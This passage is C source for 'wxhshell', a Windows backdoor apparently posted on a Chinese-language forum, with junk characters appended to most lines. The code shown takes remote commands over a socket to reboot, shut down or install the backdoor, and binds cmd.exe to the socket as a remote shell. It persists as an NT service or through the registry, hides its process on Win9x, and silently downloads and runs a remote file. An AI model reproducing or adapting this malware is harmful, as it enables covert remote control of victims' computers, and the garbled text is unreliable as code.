  DGESba\2+  
  // 帮助 0%`4px4J  
  case '?': { XzIx:J6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )?! [}t  
    break; V9NTs8LKc  
  } T1WWK'  
  // 安装 ?/hZb"6W  
  case 'i': { 8+Llx  
    if(Install()) oXsL9,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NQHz<3S[  
    else 2BXy<BM @  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;E^K.6  
    break; OX]V) QHVZ  
    } 08bJCH  
  // 卸载 ,MPB/j^o5!  
  case 'r': { (rtY!<|p  
    if(Uninstall()) 2S[-$9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); da!P0x9p  
    else ENVk{QE!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y$K!7Kq  
    break; 4bVO9aUG{  
    } {V19Zv"j  
  // 显示 wxhshell 所在路径 R7 jmv n  
  case 'p': { `O?T.p)   
    char svExeFile[MAX_PATH]; Fzlozx1y[  
    strcpy(svExeFile,"\n\r"); G.Vu KsP]  
      strcat(svExeFile,ExeFile); <yA}i"-1W  
        send(wsh,svExeFile,strlen(svExeFile),0); a 3SlxsWW  
    break; B_`y|sn  
    } EI~"L$?  
  // 重启 6DIZ@oi  
  case 'b': { 3chPY4~A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [jdFA<Is  
    if(Boot(REBOOT)) %q ;jVj[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C;+(Zp  
    else { Jq.lT(E8D  
    closesocket(wsh); gU^$Sx7'  
    ExitThread(0); eK_*2=;XRW  
    } EI>6Nh  
    break; 9h90huyKF  
    } !rDdd%Z  
  // 关机 d6{Gt"  
  case 'd': { thi1kJ`L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dC e4u<so\  
    if(Boot(SHUTDOWN)) h}_~y'^!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c\6+=\  
    else { i@5[FC  
    closesocket(wsh); #ge)2  
    ExitThread(0); ,Y?sfp  
    } 1 2++RkL#  
    break; |s#'dS;  
    } kd:$oS_*s  
  // 获取shell `!:q;i]}  
  case 's': { ,B(7\  
    CmdShell(wsh); u cwnA  
    closesocket(wsh); 9Etz:?)b  
    ExitThread(0); Sd/?&  
    break; .#u_#=g?  
  } 8[CB>-9  
  // 退出 s5.AW8X=?*  
  case 'x': { SVlua@]ChU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P7ph}mB  
    CloseIt(wsh); f'Iz G.R  
    break; e~ aqaY~}  
    } ?&LZB}1R  
  // 离开 g*)K/Z0pJ$  
  case 'q': { - K%,^6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9odJr]  
    closesocket(wsh); KTvzOI8  
    WSACleanup(); ML-)I&>tT  
    exit(1); CycUeT  
    break; `b8v1Os^2  
        } (>6*#9#p  
  } Y={&5Mir  
  } .6O"| Mqb  
ri`R<l8  
  // 提示信息 9!9Z~ /*m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); svelYe#9z  
} ZKQ hbNT  
  } l$K,#P<)  
<R%;~){  
  return; J$4wL F3  
} n .!Ym X4  
/vY_Y3k#  
// shell模块句柄 aK,z}l(N  
int CmdShell(SOCKET sock) 6:U$w7P0 e  
{ YY?a>j."a  
STARTUPINFO si; BR'I+lQ  
ZeroMemory(&si,sizeof(si)); 0JgL2ayIVI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cJM:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2j(h+?N7k  
PROCESS_INFORMATION ProcessInfo; >FhK #*Pa  
char cmdline[]="cmd"; =. y*_Ja  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  hjO*~  
  return 0; LG~S8u  
} cPgfTT  
^gV T$A  
// 自身启动模式 J7C4V'_  
int StartFromService(void) Hk>79};  
{ =0 @&GOq  
typedef struct 8 #ndFpu  
{ 7&KT0a*  
  DWORD ExitStatus; awv De  
  DWORD PebBaseAddress; Ladsw  
  DWORD AffinityMask; *lef=:&,,  
  DWORD BasePriority; =9kN_:-  
  ULONG UniqueProcessId; bs9aE< j  
  ULONG InheritedFromUniqueProcessId; {]z4k[;.h  
}   PROCESS_BASIC_INFORMATION; V\V)<BARe  
;> m"x  
PROCNTQSIP NtQueryInformationProcess; Z%GTnG|rG  
[-&L8Un  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }HE6aF62O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2F%W8Y 3  
;q0uE:^ S  
  HANDLE             hProcess; j CTAKaq  
  PROCESS_BASIC_INFORMATION pbi; CG'.:` t  
H+ h07\? %  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O D Ur  
  if(NULL == hInst ) return 0; &V>fYgui  
0 ugT2%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4tSv{B/}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ) 'j:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [m+iQVk'  
i{D=l7j|w  
  if (!NtQueryInformationProcess) return 0; yL;M"L  
RzhWD^bB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g*w<*  
  if(!hProcess) return 0; Mg#j3W}]  
CF|]e:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nA?Hxos  
UD~p'^.m_  
  CloseHandle(hProcess); 6Es? MW=  
3]-_q"Co4f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `.y}dh/+0W  
if(hProcess==NULL) return 0; _2btfY1U  
+i\&6HGK;-  
HMODULE hMod; |^28\sm2e  
char procName[255]; Pmi#TW3X  
unsigned long cbNeeded; v#=`%]mL  
,]}?.g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -T6(hT\  
KRJLxNr  
  CloseHandle(hProcess); ,3I^?5  
:|o<SZ  
if(strstr(procName,"services")) return 1; // 以服务启动 ;Ut+yuy  
+h2eqNr  
  return 0; // 注册表启动 RFh"&0[  
} C0=9K@FCb  
xoB},Xl$D  
// 主模块 e6=]m#O9  
int StartWxhshell(LPSTR lpCmdLine) S' dV>m`  
{ ] 4+s$rG  
  SOCKET wsl; 3Rm#-T s  
BOOL val=TRUE; 1>Q{Gs^  
  int port=0; |%~+2m  
  struct sockaddr_in door; 39 {{7(hh  
q.Nweu!jQ  
  if(wscfg.ws_autoins) Install(); T ^A b!O  
.I3?7  
port=atoi(lpCmdLine); E^w:KC2@  
1GEK:g2B  
if(port<=0) port=wscfg.ws_port; 7j5f ;O^+  
[nxE)D  
  WSADATA data; P?BGBbC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $- +/$!  
H7i$xWs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @{h?+ d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =O|c-k,f@  
  door.sin_family = AF_INET; *zO&N^X.4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `k\grr.J  
  door.sin_port = htons(port); TEUY3z[g  
8#R?]Uwq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eMK+X \  
closesocket(wsl); Ou'?]{  
return 1; JT[*3 h  
} ,n2i@?NHZ  
EoX_KG{  
  if(listen(wsl,2) == INVALID_SOCKET) { DjMf,wX-{  
closesocket(wsl); wo5ZxM  
return 1; GC8}X;((Y  
} A5#y?Aq  
  Wxhshell(wsl); &PcyKpyd  
  WSACleanup(); }4c o)B"  
`h;k2Se5  
return 0; 8GJdRL(  
dsK&U\ej}  
} {>0V[c[~  
j:5%ppIY  
// 以NT服务方式启动 %u?HF4S'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _RMQy~&b  
{ hwnx<f '  
DWORD   status = 0; b M;`s5d  
  DWORD   specificError = 0xfffffff; yh;Y,;4  
rl:KJ\*D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !- C' }  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =fc: 6JR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HU B|bKy  
  serviceStatus.dwWin32ExitCode     = 0; ]kktoP|D  
  serviceStatus.dwServiceSpecificExitCode = 0; >L((2wfiN  
  serviceStatus.dwCheckPoint       = 0; HN5W@5m: .  
  serviceStatus.dwWaitHint       = 0; `ia %)@  
)tZ`K |  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8uG0^h}  
  if (hServiceStatusHandle==0) return; i~=s^8n`l  
OVoO6F ]  
status = GetLastError(); {}e^eJ  
  if (status!=NO_ERROR) w=r&?{  
{ E|Bd>G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _|c&@M  
    serviceStatus.dwCheckPoint       = 0; y93k_iq$S  
    serviceStatus.dwWaitHint       = 0; o|S)C<w  
    serviceStatus.dwWin32ExitCode     = status; 5$l9@0D.\  
    serviceStatus.dwServiceSpecificExitCode = specificError; Qb^q+C)o]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ' |K.k6  
    return; hsce:TB  
  } :jNYP{Br  
fhpX/WE6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [p;*r)f2}  
  serviceStatus.dwCheckPoint       = 0; tR`S#rk  
  serviceStatus.dwWaitHint       = 0; !oSLl.fQd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vX1uR]A[  
} Z-Wfcnk  
* UcjQ  
// 处理NT服务事件,比如:启动、停止 u?Hb(xZtg=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tFU;SBt8Ki  
{ w[fDk1H)  
switch(fdwControl) W04av_u 5  
{ vP]9;mQ  
case SERVICE_CONTROL_STOP: 4_Rdp`x#J  
  serviceStatus.dwWin32ExitCode = 0; 6TFo|z!C  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _,; %mK  
  serviceStatus.dwCheckPoint   = 0; 1 tfYsg=O  
  serviceStatus.dwWaitHint     = 0; wz#[:2  
  { [STje8+V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oj.lj!  
  } {Bs+G/?o/  
  return; }5S2p@W)  
case SERVICE_CONTROL_PAUSE: `"<2)yq?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;<6"JP>0  
  break; N=fz/CD)I  
case SERVICE_CONTROL_CONTINUE: g^lFML| %  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =y;@?=T  
  break; EZAm)5:]A  
case SERVICE_CONTROL_INTERROGATE: pDDG_4E>  
  break; {g=b]yg\o  
}; ;~ee[W$1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H1UL.g%d=  
} b.Su@ay@(^  
|HgfV@Han  
// 标准应用程序主函数 HYIRcY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &-F"+v,+  
{ mTd<2Hy  
ZrcPgcF  
// 获取操作系统版本 i7v/A&Rc  
OsIsNt=GetOsVer(); F ?mA1T>x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /#\?1)jCK  
`QLowna  
  // 从命令行安装  HD|sr{Z%  
  if(strpbrk(lpCmdLine,"iI")) Install(); M7 p8^NL  
eiB(VOJ  
  // 下载执行文件 (-2R{! A  
if(wscfg.ws_downexe) { \(9p&"Q-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6aSM*S)  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7K !GK  
} f(.6|mPp  
R#fy60  
if(!OsIsNt) { 0~i qG  
// 如果时win9x,隐藏进程并且设置为注册表启动 7jR7  
HideProc(); P%jkKE?B4  
StartWxhshell(lpCmdLine); R`3x=q  
} x 8M#t(hw  
else  uE"2kn  
  if(StartFromService()) |+mOH#Aty  
  // 以服务方式启动 VVN # $  
  StartServiceCtrlDispatcher(DispatchTable); |$w0+bV*  
else g1dmkX  
  // 普通方式启动 Si[eAAd' :  
  StartWxhshell(lpCmdLine); f-s~Q 4  
}{#7Z8   
return 0; z=%IcSx;  
}
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只看该作者 1 发表于: 2006-10-10
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